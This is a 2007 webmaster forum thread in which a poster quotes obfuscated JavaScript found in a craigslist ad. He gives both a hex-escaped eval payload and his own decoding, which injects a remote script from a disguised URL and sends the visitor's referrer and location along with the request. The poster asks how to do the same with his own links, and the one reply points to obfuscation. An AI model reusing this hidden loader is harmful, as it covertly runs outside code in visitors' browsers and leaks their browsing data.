Welcome to WebmasterWorld Guest from 23.22.46.195

Forum Moderators: httpwebwitch

I saw this on craigslist

Craigslist xml

   
8:18 pm on Jun 23, 2007 (gmt 0)

5+ Year Member



Hiya all, I saw this code in the source of a craigslist ad

<xml ondatasetchanged="vagxf='%76%61%72%20%6a%70%67%32%32%35%37%34
%32%34%38%35%30%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74
%70%67%32%32%35%37%34%32%34%38%35%30%29%3b%66%75%6e%63%74
%69%6f%6e%20%7a%28%73%29%7b%76%61%72%20%6f%3d%22%22%2c%69
%3d%22%69%3d%22%2b%65%73%63%61%70%65%28%32%36%29%2b%22%26
%72%3d%22%2b%65%73%63%61%70%65%28%64%6f%63%75%6d%65%6e%74
%2e%72%65%66%65%72%72%65%72%29%2b%22%26%6c%3d%22%2b%65%73
%63%61%70%65%28%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74
%69%6f%6e%29%3b%72%65%74%75%72%6e%20%6f%3b%7d';
dbzxu=unescape(vagxf);eval(dbzxu);"><a>.</a></xml><table summary="craigslist hosted images">

I translated it to this..

<xml ondatasetchanged="vagxf='var jpg2257424850=document.createElement("script"); jpg2257424850.setAttribute("src", z("http://www.craigslist.org/?22921721722127528285287218287221229221270")); document.body.appendChild(jpg2257424850);function z(s){var o="",i,p,q="";for(i=s.indexOf("?")+1;i<=s.length-3;i+=3)
{q=s.substr(i,3);p=parseInt(q);o+=String.fromCharCode(333%p);}
o+="i="+escape(26)+"&r="+escape(document.referrer)+"&l="+escape';
dbzxu=unescape(vagxf);eval(dbzxu);"><a>.</a></xml><table summary="craigslist hosted images">

As I'm more of a web promoter than a developer, I was wondering what was going on? The original ad was just a click link in an ad. How can I package my click links like this?
Thanks in advance.

[edited by: encyclo at 5:56 pm (utc) on June 24, 2007]
[edit reason] shortened code and fixed side-scroll [/edit]

8:55 pm on Jun 23, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Try a search for "code obfustication"

Marshall

 

Featured Threads

My Threads

Hot Threads This Week

Hot Threads This Month